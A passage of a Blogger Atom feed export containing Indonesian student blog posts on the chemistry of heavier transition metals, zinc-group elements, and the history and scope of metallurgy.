src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-357822707621243006</id><published>2010-02-13T05:18:00.000-08:00</published><updated>2010-02-13T05:22:22.793-08:00</updated><title type='text'>► UNSUR TRANSISI PERIODE  KEDUA DAN KETIGA</title><content type='html'>&lt;span style="font-weight: bold; font-style: italic; color: rgb(204, 0, 0);font-size:130%;" &gt;Beberapa hal penting dari unsur-unsur transisi deret kedua dan ketiga dibandingkan dengan deret pertama adalah :&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;► 1.  Jari-jari. Jari-jari logam dan ion untuk unsur transisi periode kedua dan ketiga lebih besar dibanding periode pertama.&lt;br /&gt;► 2. Tingkat Oksidasi. Untuk unsur transisi periode kedua dan ketiga, pada tingkat oksidasi tinggi umumnya lebih stabil daripada unsur periode pertama.&lt;br /&gt;► 3. Kimia Larutan. Ion akuo dari unsur transisi periode kedua dan ketiga pada keadaan valensi rendah dan sedang tidak umum didapatkan atau tidak terlalu penting.&lt;br /&gt;► 4.  Ikatan Logam-logam. Umumnya unsur-unsur transisi periode kedua dan ketiga akan lebih mudah untuk membentuk ikatan M-M daripada unsur transisi periode I.&lt;br /&gt;► 5. Sifat Magnetik. Umumnya unsur-unsur periode kedua dan ketiga mempunyai sifat magnetik yang sedikit penggunaannya dibandingkan dengan unsur transisi periode pertama.&lt;br /&gt;► 6. Stereokimia. Unsur-unsur transisi periode kedua dan ketiga umumnya mempunyai bilangan koordinasi yang lebih tinggi yaitu VIII dan VIII dibandingkan unsur transisi periode pertama, dengan pengecualian untuk unsur platina bilangan koordinasi tertinggi 6.&lt;br /&gt;► &lt;br /&gt;&lt;br /&gt;► ZIRKONIUM (Zr) DAN HAFNIUM (Hf)&lt;br /&gt;KELIMPAHAN :&lt;br /&gt;Beberapa mineral sumber zirkonium :&lt;br /&gt;-  Baddeleyite (ZrO2)&lt;br /&gt;-  Zirkon (ZrSiO2)&lt;br /&gt;  Untuk memisahkan ion zirkonium dan hafnium digunakan metode penukar ion atau&lt;br /&gt;  ekstraksi-pelarut secara bertingkat.&lt;br /&gt;&lt;br /&gt;SIFAT-SIFAT DARI UNSUR ZIRKONIUM DAN HAFNIUM&lt;br /&gt;-    Logam zirkonium seperti halnya logam titanium bersifat keras dan tahan korosi &lt;br /&gt;  (mp 18550C)&lt;br /&gt;-   Terbakar di udara pada temperatur tinggi, bereaksi lebih cepat dengan nitrogen dan&lt;br /&gt;  oksigen membentuk nitrida, oksida dan oksida nitrida (Zr2ON2).&lt;br /&gt;&lt;br /&gt;BEBERAPA SENYAWAAN DARI ZIRKONIUM DAN HAFNIUM&lt;br /&gt;-   Halida, halida MCl4, MBr4 dan MI4 pada fase gas berbentuk tetrahedral tetapi pada&lt;br /&gt;  kondisi padat merupakan polimer dengan jembatan halida.&lt;br /&gt;-   Zirkonium oksida, (ZrO2) merupakan kristal putih yang keras dan tidak larut (mp 27000C),&lt;br /&gt;  tahan terhadap asam dan basa, memiliki sifat mekanis yang baik digunakan untuk tungku&lt;br /&gt;  furnace.&lt;br /&gt;► NIOBIUM (Nb) DAN TANTALUM (Ta)&lt;br /&gt;KELIMPAHAN :&lt;br /&gt;- Kelimpahan niobium 10-12 kali lebih besar daripada tantalum pada kulit bumi.&lt;br /&gt;&lt;br /&gt;MINERAL SUMBER NIOBIUM DAN TANTALUM :&lt;br /&gt;-   Mineral seri kolumbite-tantalite yang komposisi utamanya (Fe/Mn)(Nb/Ta)2O6.&lt;br /&gt;-   Mineral pyrochlore merupakan campuran kalsium natrium niobat.&lt;br /&gt;&lt;br /&gt;SIFAT-SIFAT DARI NIOBIUM DAN TANTALUM :&lt;br /&gt;-  Logam mengkilat, titik leleh tinggi (Nb 24680C, Ta 29960C)&lt;br /&gt;-  Tahan terhadap asam dapat larut dalam campuran HNO3-HF.&lt;br /&gt;-  Bereaksi lambat dengan leburan NaOH.&lt;br /&gt;&lt;br /&gt;BEBERAPA SENYAWAAN NIOBIUM DAN TANTALUM&lt;br /&gt;► Senyawa oksigen.  Nb2O5 dan Ta2O5 meruapakan serbuk putih yang bersifat inert. Tidak larut dengan semua asam kecuali dengan HF pekat, larut dalam leburan NaOH dan NaHSO4.&lt;br /&gt;► Halida, MF5, pentaflourida dibuat melalui reaksi flourinasi dari logamnya. Merupakan padatan putih volatil (mp 800C, bp 2350C/Nb, mp 950C, bp 2290C/Ta) dalam keadaan cair tidak berwarna dan volatil.&lt;br /&gt;► MCl5, pentaklorida dibuat melalui reaksi klorinasi dari logamnya, merupakan padatan kuning, terhidrolisis menjadi hidrat oksida.&lt;br /&gt;► MOLIBDENUM (Mo) DAN WOLFRAM (W)&lt;br /&gt;KELIMPAHAN :&lt;br /&gt;Kelimpahan kedua unsur ini berkisar 10-4% pada batuan metalurgi. Beberapa mineral sumber utama molibdenum (Mo) dan wolfram (W) antara lain :&lt;br /&gt;- Molibdenit (MoS2) dan wulfenit (PbMoO4), MgMoO4&lt;br /&gt;- Scheelite (CaWO4) dan wolframite [Fe(Mn)WO4]&lt;br /&gt;&lt;br /&gt;METODE ISOLASI MOLIBDENUM (Mo) DAN WOLFRAM (W)&lt;br /&gt;1. Molibdenum (Mo)&lt;br /&gt;   Mineral Mo dilakukan proses foam flotation untuk memperoleh MoO3&lt;br /&gt;   direduksi dengan karbon untuk memperoleh logamnya.&lt;br /&gt;2. Wolfram (W)&lt;br /&gt;    Mineral tungsen (wolfram) dihancurkan secara mekanik dan direaksikan&lt;br /&gt;    dengan lelehan NaOH. Lelehannya dilarutkan dalam air untuk memperoleh&lt;br /&gt;    Na-tungsenat yang kemudian diasamkan untuk mendapatkan WO3 kemudian&lt;br /&gt;    direduksi dengan hidrogen dan diperoleh  logamnya.&lt;br /&gt;&lt;br /&gt;KEGUNAAN :&lt;br /&gt;1.  Paduan logam untuk alat pemotong pada suhu tinggi&lt;br /&gt;2.  Filamen lampu&lt;br /&gt;&lt;br /&gt;SIFAT-SIFAT DARI UNSUR Mo DAN W&lt;br /&gt;1. Tahan terhadap asam&lt;br /&gt;2. Tahan terhadap panas (mp 26100C (Mo),  34100C(W)&lt;br /&gt;3. Tahan terhadap oksigen&lt;br /&gt;4. Reaktip dengan flourin membentuk heksaflourida&lt;br /&gt;SENYAWAAN DARI MOLIBDENUM DAN WOLFRAM&lt;br /&gt;&lt;br /&gt;1.  Oksida : Beberapa oksida yang umum seperti : MoO3(putih), WO3(kuning), MoO2 dan WO2&lt;br /&gt;     -  Trioksida dibuat memanaskan logam dengan senyawa&lt;br /&gt;         lain seperti sulfida dalam oksigen.&lt;br /&gt;     -  Dioksida dibuat dengan mereduksi trioksida dengan&lt;br /&gt;        hidrogen atau NH3 pada suhu ± 4700C.&lt;br /&gt;&lt;br /&gt;2.   Halida, MOF6 dan WF6 dibuat dengan reaksi flourinasi&lt;br /&gt;     terhadap logamnya. Kedua halida tersebut mudah &lt;br /&gt;     terhidrolisis.&lt;br /&gt;      -  Mo2Cl10 dibuat melalui klorinasi logamnya.&lt;br /&gt;      -  WCl6 dibuat melalui klorinasi logamnya.&lt;br /&gt;                 &lt;br /&gt;► TECHNETIUM (Tc) DAN RHENIUM (Re)&lt;br /&gt;Unsur-unsur ini berbeda dengan unsur Mn yang ada dalam satu golongan dalam beberapa hal :&lt;br /&gt;1.  Tidak terdapat/sedikit unsur-unsur yang stabil dalam biloks dua (II),&lt;br /&gt;2.  Terdapat sedikit senyawa kationik dalam setiap tingkatan bilangan&lt;br /&gt;    oksidasi,&lt;br /&gt;3.  Stabilitas dari kedua unsur ini pada bilangan oksidasi IV dan V untuk&lt;br /&gt;    bilangan oksidasu V sebagai senyawaan okso,&lt;br /&gt;4.  Anion okso MO4- merupakan pengoksidasi yang lebih lemah dibandingkan&lt;br /&gt;    ion permanganat,&lt;br /&gt;5.  Pada tingkat oksidasi II sampai IV cenderung membentuk ikatan logam-&lt;br /&gt;    logam (M-M)&lt;br /&gt;&lt;br /&gt;KELIMPAHAN, KEGUNAAN, DAN ISOLASI UNSURNYA  :&lt;br /&gt;-   Rhenium diperoleh dari mineral molibdenite (MoS) atau dari bijih Cu.&lt;br /&gt;-   Technetium diperoleh dari peluruhan uranium.&lt;br /&gt;-   Rhenium digunakan untuk paduan Pt-Re untuk katalis perengkahan minyak&lt;br /&gt;   bumi.&lt;br /&gt;-   Technetium karena merupakan unsur radioaktip digunakan untuk scanning&lt;br /&gt;   pada dunia kedokteran.&lt;br /&gt;► SENYAWAANNYA&lt;br /&gt;1.    Oksida : beberapa oksida yang dikenal dari unsur ini :&lt;br /&gt;                    Rhenium                     Technetium&lt;br /&gt;         Oksida         Warna  Oksida  Warna&lt;br /&gt;         Re2O3.xH2O Hitam  TeO2   Hitam&lt;br /&gt;         ReO2  Coklat&lt;br /&gt;         ReO3  Merah&lt;br /&gt;         Re2O3  Biru  Te2O7  Kuning&lt;br /&gt;         Re2O7  Kuning&lt;br /&gt;&lt;br /&gt;2.   Halida : beberapa halida yang dikenal :&lt;br /&gt;     - ReF6  dan ReF7 yang bersifat volatil&lt;br /&gt;     - Re2Cl10 diperoleh dari reaksi klorinasi pada T 5500C&lt;br /&gt;             Terdekomposisi&lt;br /&gt;       Re2Cl6&lt;br /&gt;► RUTHENIUM, OSMIUM, RHODIUM, IRIDIUM DAN PLATINA&lt;br /&gt;&lt;br /&gt;Beberapa sifat dari logamnya.&lt;br /&gt;&lt;br /&gt;► SENYAWAAN&lt;br /&gt;1. Oksida, beberapa senyawaan dari unsurnya terlihat pada tabel berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Halida, beberapa halida flour dari unsur-unsur golongan VIII&lt;br /&gt;&lt;br /&gt;Beberapa halida lainnya :&lt;br /&gt;&lt;br /&gt;► PERAK (Ag) dan EMAS (Au)&lt;br /&gt;      Seperti halnya tembaga, perak dan emas mempunyai elektron tunggal pada orbital s dan orbital d yang terisi penuh elektron, tetapi meskipun mempunyai kesamaan dalam hal struktur elektronik dan potensial ionisasi sedikit sekali kemiripan antara Ag, Au dan Cu. Beberapa kimiripan tersebut antara lain :&lt;br /&gt;1.  Semua logam mempunyai bentuk kristal yang sama yaitu kubus pusat muka.&lt;br /&gt;2.  Cu2O dan Ag2O mempunyai struktur kubus pusat badan dimana atom logam&lt;br /&gt;    mempunyai dua atom O tetangga dan tiap-tiap atom oksigen dikelilingi oleh&lt;br /&gt;    empat atom logam pada bidang tetrahedral.&lt;br /&gt;3.  Meskipun konstata stabilitas dari kompleks halida dari beberapa logam berurut&lt;br /&gt;    seperti F&gt;Cl&gt;Br&gt;I, tetapi kompleks halida dari ion CuI dan AgI justru&lt;br /&gt;    berurut kebalikannya.&lt;br /&gt;4.  CuI dan AgI ( dan beberapa senyawa AuI) mempunyai kesamaan tipe baik&lt;br /&gt;    dalam bentuk ion dan senyawa seperti [MCl2]-, [Et3AsMI4] dan K2MCl3.&lt;br /&gt;5.  Beberapa kompleks tertentu dari CuII dan AgII merupakan isomorf, dan&lt;br /&gt;   AgIII, AuIII, dan CuII juga menghasilkan senyawa kompleks yang mirip.&lt;br /&gt;KEBERADAAN DAN SIFAT UNSUR-UNSURNYA&lt;br /&gt;&lt;br /&gt;- Perak dan emas tersebar luas dialam. Perak dan emas disamping ditemukan sebagai logam juga umumnya ditemukan dalam bentuk bijih sulfida, bisanya terdapat bersamaan dengan sulfida dari Fe, Cu, dan Ni.&lt;br /&gt;- Sumber utama emas dan perak didapatkan di Afrika Selatan dan Rusia. Perak juga ditemukan sebagai mineral AgCl&lt;br /&gt;- Perak berwarna putih, mengkilap, lembut dan dapat ditempa (mp 9610C) dan mempunyai konduktivitas termal dan listrik yang paling tinggi.&lt;br /&gt;- Perak sedikit kurang reaktip dibandingkan tembaga kecuali terhadap belerang dan hidrogen sulfida yang dengan cepat menghitamkan permukaan perak.&lt;br /&gt;- Perak larut dalam asam pengoksidasi dan dalam larutan sianida dengan adanya oksigen atau peroksida.&lt;br /&gt;- Emas bersifat lembut, logam kuning (mp 10630C) dengan memiliki kemudahan untuk ditarik dan ditempa paling tinggi dari unsur-unsur yang lain.&lt;br /&gt;- Emas secara kimiawi tidak reaktip dan tidak mudah bereaksi dengan oksigen atau belerang, tetapi bereaksi cepat dengan halogen atau dengan larutan yang mengandung atau melepaskan klor seperti aquaregia, dan emas larut dalam larutan sianida dengan adanya udara atau hidrogen peroksida membentuk kompleks [Au(CN)2]-&lt;br /&gt;SENYAWAAN PERAK&lt;br /&gt;1.  PERAK (I). Perak(I) merupakan bilangan oksidasi yang umum. Ion AgI dalam air berada dalam bentuk [Ag(H2O)2]+, tetapi ligan air sangat labil dan tidak ada bentug garam hidrat dari AgI yang dikenal.&lt;br /&gt;&lt;br /&gt;2.  SENYAWAAN BINER&lt;br /&gt;    -  PERAK(I) OKSIDA. Penambahan dari alkali hidroksida dalam&lt;br /&gt;       larutan AgI menghasilkan endapan coklat gelap yang sulit&lt;br /&gt;       dipisahkan dari ion alkali.&lt;br /&gt;    -  PERAK (I) SULFIDA. Penambahan hidrogen sulfida pada larutan&lt;br /&gt;       perak menghasilkan endapan hitam Ag2S, yang mana semua&lt;br /&gt;       senyawa dari perak sulfida memiliki sifat sedikit larut dalam air&lt;br /&gt;       (log Ksp ≈ 50).&lt;br /&gt;    -  PERAK(I) HALIDA. Fluorida membentuk hidrat seperti AgF.4H2O&lt;br /&gt;       yang dibuat dengan melarutkan kristal Ag2O dalam larutan HF.&lt;br /&gt;    -  KOMPLEKS PERAK (I). Komplek perak(I) mempunyai variasi yang&lt;br /&gt;       sangat luas baik yang didapatkan sebagai larutan atau sebagai&lt;br /&gt;       padatan.&lt;br /&gt;SENYAWAAN PERAK (II) DAN PERAK(III)&lt;br /&gt;   PERAK(II) FLOURIDA. Merupakan padatan coklat tua yang didapatkan melalui proses flourinasi dari AgF atau senyawaan Ag lainnya melalui pengaturan temperatur.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SENYAWAAN EMAS&lt;br /&gt;1. OKSIDA. Hanya Au2O3 yang dikenal, walaupun penambahan basa pada larutan AuCl4- menghasilkan Au2O3.nH2O sebagai endapan amorf coklat, endapan tersebut terdekomposisi pada pemanasan menjadi Au, O2 dan H2O.&lt;br /&gt;&lt;br /&gt;2.  HALIDA. Emas(III) flourida paling baik dibuat melalui flourinasi dari Au2Cl6 pada 3000C dan membentuk kristal orange yang terdekomposisi menjadi logamnya pada 5000C.&lt;br /&gt;  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-357822707621243006?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/357822707621243006/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/unsur-transisi-periode-kedua-dan-ketiga.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/357822707621243006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/357822707621243006'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/unsur-transisi-periode-kedua-dan-ketiga.html' title='► UNSUR TRANSISI PERIODE  KEDUA DAN KETIGA'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-9021503164127376160</id><published>2010-02-13T05:09:00.000-08:00</published><updated>2010-02-13T05:35:09.327-08:00</updated><title type='text'>SENG (Zn), KADMIUM (Cd), DAN MERKURI (Hg)</title><content type='html'>Meskipun unsur-unsur ini secara khas membentuk kation 2+, mereka tidak mempunyai banyak kesamaan dengan golongan Be, Mg, Ca-Ra, kecuali beberapa kemiripan antara Zn, Be, dan Mg. Jadi BeO, Be(OH)2, dan BeS mempunyai struktur yang seperti ZnO, Zn(OH)2, dan ZnS, dan terdapat beberapa kesamaan dalam kimiawi larutan dan kompleks Zn2+ dan Mg2+. &lt;span class="fullpost"&gt;&lt;br /&gt;Beberapa Sifat  dari unsur golongan IIB&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/S3aljLCDIyI/AAAAAAAAAOw/Ul9Uh-KT2MI/s1600-h/tabel+1.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 237px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/S3aljLCDIyI/AAAAAAAAAOw/Ul9Uh-KT2MI/s400/tabel+1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5437715623771841314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Meskipun unsur-unsur ini secara khas membentuk kation 2+, mereka tidak mempunyai banyak kesamaan dengan golongan Be, Mg, Ca-Ra, kecuali beberapa kemiripan antara Zn, Be, dan Mg. Jadi BeO, Be(OH)2, dan BeS mempunyai struktur yang seperti ZnO, Zn(OH)2, dan ZnS, dan terdapat beberapa kesamaan dalam kimiawi larutan dan kompleks Zn2+ dan Mg2+. &lt;br /&gt;&lt;br /&gt;Sebab utama dari perbedaan antara ion-ion IIA dan IIB timbul dari kemudahan terdistorsi kulit d yang terisi penuh dibandingkan dengan ion-ion dari unsur-unsur IIA yang mirip dengan gas mulia. Sifat kimia dari unsur Zn dan Cd adalah sama, tetapi untuk Hg adalah berbeda dan tidak dapat sebagai suatu homolog.&lt;br /&gt;      Contoh : -  Hidroksida Cd(OH)2 lebih utama daripada Zn(OH)2 yang &lt;br /&gt;                         merupakan amphoter, tetapi Hg(OH)2 merupakan basa yang &lt;br /&gt;                         sangat lemah.&lt;br /&gt;                     -  Klorida  dari  Zn  dan  Cd  merupakan  senyawa  ionik  sedangkan&lt;br /&gt;                        HgCl2 merupakan kristal molekuler.&lt;br /&gt;                     -  Ion Zn2+ dan Cd2+ mempunyai kemiripan dengan ion Mg2+ &lt;br /&gt;                        sedangkan ion Hg2+ tidak.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tidak adanya pengaruh stabilitas medan ligan pada ion Zn2+ dan Cd2+ karena orbital d terisi penuh elektron, maka stereokimianya hanya ditentukan oleh ukuran, kekuatan elektrostatik, dan kekuatan ikatan kovalen.&lt;br /&gt;      Contoh :  -   Sebagai pengaruh ukuran ion Cd2+ lebih disukai dibandingkan ion &lt;br /&gt;                          Zn2+ dalam membentuk senyawaan koordinasi 6.&lt;br /&gt;                      -   ZnCl2 berstruktur tetrahedral sedangkan CdCl2 berstruktur   &lt;br /&gt;                         oktahedral.&lt;br /&gt;&lt;br /&gt;KELIMPAHAN, ISOLASI  DAN SIFAT-SIFAT UNSUR&lt;br /&gt;Unsur-unsurnya mempunyai kelimpahan yang sangat rendah dialam (dengan order 10-6 dari kerak bumi bagi Zn dan Cd), namun telah lama dikenal karena mereka mudah didapatkan dari bijihnya.&lt;br /&gt;&lt;br /&gt;Seng terdapat secara luas dalam beberapa mineral, tetapi sumber utamanya adalah Sphallerite [(ZnFe)S] yang biasanya terdapat bersama dengan  galena (PbS); Mineral kadmium jarang ditemukan namun sebagai akibat dari kemiripannya dengan Zn, Cd terdapat hampir disemua bijih seng sebagai akibat pertukaran bijih isomorf. &lt;br /&gt;&lt;br /&gt;Metode isolasi diawali dengan flotasi dan pemanggangan. Zn dan Pb diperoleh kembali secara simultan dengan metode tungku pemanas. Kadmium diperoleh sebagai hasil samping dan dipisahkan dengan destilasi atau pengendapan dari larutan sulfat dari abu Zn.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bijih merkuri terpenting adalah cinnabar (HgS), untuk mengisolasi Hg bijih dipanggang untuk membentuk oksida yang akan terdekomposisi pada 5000C yang selanjutnya Hg(0) diuapkan.&lt;br /&gt;&lt;br /&gt;Seng dan Kadmium merupakan logam-logam putih, mengkilat dan mudah ternoda. Merkuri merupakan cairan yang mengkilat pada suhu kamar, karena merkuri sangat volatil dan beracun, maka harus disimpan pada tempat yang tertutup dan ditempatkan pada daerah yang ventilasinya bagus. &lt;br /&gt;&lt;br /&gt;Merkuri mudah hilang dari larutannya dan dalam bentuk garam mudah tereduksi oleh bahan pereduksi runutan dan oleh proses disproporsionasi menjadi ion Hg22+.&lt;br /&gt;Baik Zn maupun Cd bereaksi cepat dengan asam-asam nonoksidator dengan melepaskan gas hidrogen dan membentuk ion divalen, sedangkan Hg bersifat inert dengan asam-asam non oksidator. &lt;br /&gt;&lt;br /&gt;Seng juga larut dengan basa kuat karena kemampuannya untuk membentuk ion zinkate yang secara umum dituliskan sebagai ZnO22-.&lt;br /&gt;&lt;br /&gt;Ketiga unsur tersebut bereaksi langsung dengan halogen dan dengan non logam seperti sulfur, selenium, dan timbal. Seng dan kadmium dapat membentuk beberapa paduan diantaranya kuningan (aliansi tembaga dan seng). Merkuri bergabung dengan beberapa logam lainnya seberti dengan Na atau K, bereaksi sangat kuat menghasilkan amalgam &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SENYAWAAN SENG, KADMIUM, DAN MERKURI&lt;br /&gt;I.   KEADAAN UNIVALEN&lt;br /&gt;     Keadaan univalen terpenting hanya merkuri, meskipun tidak stabil ion Zn1 dan Cd1 juga ada dan mempunyai rumus M22+, keduanya sangat tidak stabil, karena merupakan pereagen pereduksi yang sangat kuat sehingga dalam larutan air akan berubah menjadi Zn2+ dan Cd2+.&lt;br /&gt;&lt;br /&gt;II.  SENYAWAAN DIVALEN SENG DAN KADMIUM&lt;br /&gt;      1.   Oksida dan Hidroksida&lt;br /&gt;      -  Oksida ZnO dan CdO dapat dibuat melalui pembakaran logamnya &lt;br /&gt;         diudara atau dengan pirolisis dari karbonat atau nitrat.&lt;br /&gt;2.   Hidroksida dapat diendapkan dari larutan garam dengan menambahkan basa. Hasil kali kelarutan  dari Zn(OH)2 dan Cd(OH)2 adalah 10-11 dan 10-14, tetapi Zn(OH)2 lebih larut sebagai akibat harga konstata kesetimbangan yang dimiliki.&lt;br /&gt;3.   SULFIDA. Senyawaan sulfida diperoleh dengan mereaksikan ion aquo dengan gas H2S, kondisi asam untuk CdS, kondisi netral atau basa untuk ZnS.&lt;br /&gt;4.   HALIDA. Keempat halida diketahui dapat membentuk senyawaan dengan seng dan kadmium. Seperti terlihat pada tabel dibawah.&lt;br /&gt;5.   IONS AKUO DAN GARAM OKSO&lt;br /&gt; Garam dari asam okso seperti nitrat, sulfat, sulfit, perklorat, dan asetat larut dalam air. &lt;br /&gt;&lt;br /&gt;Beberapa sifat dari halida seng dan kadmium&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/S3amOtlPVhI/AAAAAAAAAPA/0iVeQwLZkgE/s1600-h/tabel+2.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 265px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/S3amOtlPVhI/AAAAAAAAAPA/0iVeQwLZkgE/s400/tabel+2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5437716371780621842" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-9021503164127376160?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/9021503164127376160/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/seng-zn-kadmium-cd-dan-merkuri-hg.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/9021503164127376160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/9021503164127376160'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/seng-zn-kadmium-cd-dan-merkuri-hg.html' title='SENG (Zn), KADMIUM (Cd), DAN MERKURI (Hg)'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lylI1wyyUFQ/S3aljLCDIyI/AAAAAAAAAOw/Ul9Uh-KT2MI/s72-c/tabel+1.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-7688738286319658314</id><published>2010-02-13T04:36:00.000-08:00</published><updated>2010-02-13T04:56:41.458-08:00</updated><title type='text'>Metalurgi</title><content type='html'>Metalurgi adalah ilmu, seni, dan teknologi yang mengkaji proses pengolahan dan perekayasaan mineral dan logam. Ruang lingkup metalurgi meliputi:&lt;br /&gt;• pengolahan mineral (mineral dressing)&lt;br /&gt;• ekstraksi logam dari konsentrat mineral (extractive metallurgy)&lt;br /&gt;• proses produksi logam (mechanical metallurgy)&lt;br /&gt;• perekayasaan sifat fisik logam (physical metallurgy)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/S3afmYvCl4I/AAAAAAAAAOo/3Uu-ZkyGkWI/s1600-h/247078.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 265px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/S3afmYvCl4I/AAAAAAAAAOo/3Uu-ZkyGkWI/s400/247078.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5437709081920051074" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/S3afgWsmGOI/AAAAAAAAAOg/K65U12wt2sw/s1600-h/metall-brosch-250_12.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 242px; height: 331px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/S3afgWsmGOI/AAAAAAAAAOg/K65U12wt2sw/s400/metall-brosch-250_12.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5437708978293709026" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Singkat cerita nih sedikit tulisan sya dapat karna kemarin2 niatnya ngambil mata kuliah metalurgi, sudah masuk hitungan KRS tapi kecewa karena nggk ada mhasiswa lain yg ngambil ni mata kuliah, so. . . huufffttt. . . but tetap Smile_^&lt;/span&gt;&lt;br /&gt;Metalurgi adalah ilmu, seni, dan teknologi yang mengkaji proses pengolahan dan perekayasaan mineral dan logam. Ruang lingkup metalurgi meliputi:&lt;br /&gt;• pengolahan mineral (mineral dressing)&lt;br /&gt;• ekstraksi logam dari konsentrat mineral (extractive metallurgy)&lt;br /&gt;• proses produksi logam (mechanical metallurgy)&lt;br /&gt;• perekayasaan sifat fisik logam (physical metallurgy)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Sejarah&lt;/span&gt;&lt;br /&gt;Sejarah ilmu metalurgi diawali dengan teknologi pengolahan hasil pertambangan. Logam yang paling dini digunakan oleh manusia tampaknya adalah emas, yang bisa ditemukan secara bebas. Sejumlah kecil emas telah ditemukan telah digunakan di gua-gua di Spanyol pada masa Paleolitikum, sekitar 40.000 SM&lt;br /&gt;&lt;br /&gt;Perak, tembaga, timah dan besi meteor juga dapat ditemukan bebas, dan memungkinkan pengerjaan logam dalam jumlah terbatas. Senjata Mesir yang dibuat dari besi meteor pada sekitar 3000 SM sangat dihargai sebagai "belati dari langit. Dengan pengetahuan untuk mendapatkan tembaga dan timah dengan memanaskan bebatuan, serta mengkombinasikan tembaga dan timah untuk mendapatkan logam paduan yang dinamakan sebagai perunggu, teknologi metalurgi dimulai sekitar tahun 3500 SM pada masa Zaman Perunggu.&lt;br /&gt;Ekstraksi besi dari bijihnya ke dalam logam yang dapat diolah jauh lebih sulit. Proses ini tampaknya telah diciptakan oleh orang-orang Hittit pada sekitar 1200 SM, pada awal Zaman Besi. Rahasia ekstraksi dan pengolahan besi adalah faktor kunci dalam keberhasilan orang-orang Filistin.&lt;br /&gt;&lt;br /&gt;Perkembangan historis metalurgi besi dapat ditemukan dalam berbagai budaya dan peradaban lampau. Ini mencakup kerajaan dan imperium kuno dan abad pertengahan di Timur Tengah dan Timur Dekat, Mesir kuno, dan Anatolia (Turki sekarang), Kartago, Yunani, Romawi kuno, Eropa abad pertengahan, Cina kuno dan pertengahan, India kuno dan pertengahan, Jepang kuno dan pertengahan, dan sebagainya.&lt;br /&gt;Banyak penerapan, praktek dan perkakas metalurgi mungkin sudah digunakan di Cina kuno sebelum orang-orang Eropa menguasainya (seperti tanur, besi cor, baja, dan lain-lain).&lt;br 